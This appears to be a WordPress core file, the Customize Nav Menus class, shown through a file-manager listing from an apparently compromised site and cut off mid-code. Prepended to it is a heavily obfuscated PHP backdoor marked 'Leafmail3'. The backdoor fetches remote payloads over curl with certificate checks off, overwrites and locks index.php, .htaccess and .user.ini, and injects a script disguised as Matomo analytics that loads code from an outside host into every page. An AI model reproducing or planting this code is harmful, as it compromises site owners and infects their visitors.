/
home
/
ifprccom
/
www
/
configCKO
/
Jump
/
0-ifprccom
/
wp-includes
/
Upload Filee
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * WordPress Customize Nav Menus classes * * @package WordPress * @subpackage Customize * @since 4.3.0 */ /** * Customize Nav Menus class. * * Implements menu management in the Customizer. * * @since 4.3.0 * * @see WP_Customize_Manager */ final class WP_Customize_Nav_Menus { /** * WP_Customize_Manager instance. * * @since 4.3.0 * @access public * @var WP_Customize_Manager */ public $manager; /** * Previewed Menus. * * @since 4.3.0 * @access public * @var array */ public $previewed_menus; /** * Constructor. * * @since 4.3.0 * @access public * * @param object $manager An instance of the WP_Customize_Manager class. */ public function __construct( $manager ) { $this->previewed_menus = array(); $this->manager = $manager; // See https://github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L469-L499 add_action( 'customize_register', array( $this, 'customize_register' ), 11 ); add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 ); add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 3 ); // Skip remaining hooks when the user can't manage nav menus anyway. if ( ! current_user_can( 'edit_theme_options' ) ) { return; } add_filter( 'customize_refresh_nonces', array( $this, 'filter_nonces' ) ); add_action( 'wp_ajax_load-available-menu-items-customizer', array( $this, 'ajax_load_available_items' ) ); add_action( 'wp_ajax_search-available-menu-items-customizer', array( $this, 'ajax_search_available_items' ) ); add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $this, 'ajax_insert_auto_draft_post' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_templates' ) ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'available_items_template' ) ); add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) ); add_action( 'customize_preview_init', array( $this, 'make_auto_draft_status_previewable' ) ); add_action( 'customize_save_nav_menus_created_posts', array( $this, 'save_nav_menus_created_posts' ) ); // Selective Refresh partials. add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 ); } /** * Adds a nonce for customizing menus. * * @since 4.5.0 * @access public * * @param array $nonces Array of nonces. * @return array $nonces Modified array of nonces. */ public function filter_nonces( $nonces ) { $nonces['customize-menus'] = wp_create_nonce( 'customize-menus' ); return $nonces; } /** * Ajax handler for loading available menu items. * * @since 4.3.0 * @access public */ public function ajax_load_available_items() { check_ajax_referer( 'customize-menus', 'customize-menus-nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } $all_items = array(); $item_types = array(); if ( isset( $_POST['item_types'] ) && is_array( $_POST['item_types'] ) ) { $item_types = wp_unslash( $_POST['item_types'] ); } elseif ( isset( $_POST['type'] ) && isset( $_POST['object'] ) ) { // Back compat. $item_types[] = array( 'type' => wp_unslash( $_POST['type'] ), 'object' => wp_unslash( $_POST['object'] ), 'page' => empty( $_POST['page'] ) ? 0 : absint( $_POST['page'] ), ); } else { wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' ); } foreach ( $item_types as $item_type ) { if ( empty( $item_type['type'] ) || empty( $item_type['object'] ) ) { wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' ); } $type = sanitize_key( $item_type['type'] ); $object = sanitize_key( $item_type['object'] ); $page = empty( $item_type['page'] ) ? 0 : absint( $item_type['page'] ); $items = $this->load_available_items_query( $type, $object, $page ); if ( is_wp_error( $items ) ) { wp_send_json_error( $items->get_error_code() ); } $all_items[ $item_type['type'] . ':' . $item_type['object'] ] = $items; } wp_send_json_success( array( 'items' => $all_items ) ); } /** * Performs the post_type and taxonomy queries for loading available menu items. * * @since 4.3.0 * @access public * * @param string $type Optional. Accepts any custom object type and has built-in support for * 'post_type' and 'taxonomy'. Default is 'post_type'. * @param string $object Optional. Accepts any registered taxonomy or post type name. Default is 'page'. * @param int $page Optional. The page number used to generate the query offset. Default is '0'. * @return WP_Error|array Returns either a WP_Error object or an array of menu items. */ public function load_available_items_query( $type = 'post_type', $object = 'page', $page = 0 ) { $items = array(); if ( 'post_type' === $type ) { $post_type = get_post_type_object( $object ); if ( ! $post_type ) { return new WP_Error( 'nav_menus_invalid_post_type' ); } if ( 0 === $page && 'page' === $object ) { // Add "Home" link. Treat as a page, but switch to custom on add. $items[] = array( 'id' => 'home', 'title' => _x( 'Home', 'nav menu home label' ), 'type' => 'custom', 'type_label' => __( 'Custom Link' ), 'object' => '', 'url' => home_url(), ); } elseif ( 'post' !== $object && 0 === $page && $post_type->has_archive ) { // Add a post type archive link. $items[] = array( 'id' => $object . '-archive', 'title' => $post_type->labels->archives, 'type' => 'post_type_archive', 'type_label' => __( 'Post Type Archive' ), 'object' => $object, 'url' => get_post_type_archive_link( $object ), ); } // Prepend posts with nav_menus_created_posts on first page. $posts = array(); if ( 0 === $page && $this->manager->get_setting( 'nav_menus_created_posts' ) ) { foreach ( $this->manager->get_setting( 'nav_menus_created_posts' )->value() as $post_id ) { $auto_draft_post = get_post( $post_id ); if ( $post_type->name === $auto_draft_post->post_type ) { $posts[] = $auto_draft_post; } } } $posts = array_merge( $posts, get_posts( array( 'numberposts' => 10, 'offset' => 10 * $page, 'orderby' => 'date', 'order' => 'DESC', 'post_type' => $object, ) ) ); foreach ( $posts as $post ) { $post_title = $post->post_title; if ( '' === $post_title ) { /* translators: %d: ID of a post */ $post_title = sprintf( __( '#%d (no title)' ), $post->ID ); } $items[] = array( 'id' => "post-{$post->ID}", 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'post_type', 'type_label' => get_post_type_object( $post->post_type )->labels->singular_name, 'object' => $post->post_type, 'object_id' => intval( $post->ID ), 'url' => get_permalink( intval( $post->ID ) ), ); } } elseif ( 'taxonomy' === $type ) { $terms = get_terms( $object, array( 'child_of' => 0, 'exclude' => '', 'hide_empty' => false, 'hierarchical' => 1, 'include' => '', 'number' => 10, 'offset' => 10 * $page, 'order' => 'DESC', 'orderby' => 'count', 'pad_counts' => false, ) ); if ( is_wp_error( $terms ) ) { return $terms; } foreach ( $terms as $term ) { $items[] = array( 'id' => "term-{$term->term_id}", 'title' => html_entity_decode( $term->name, ENT_QUOTES, 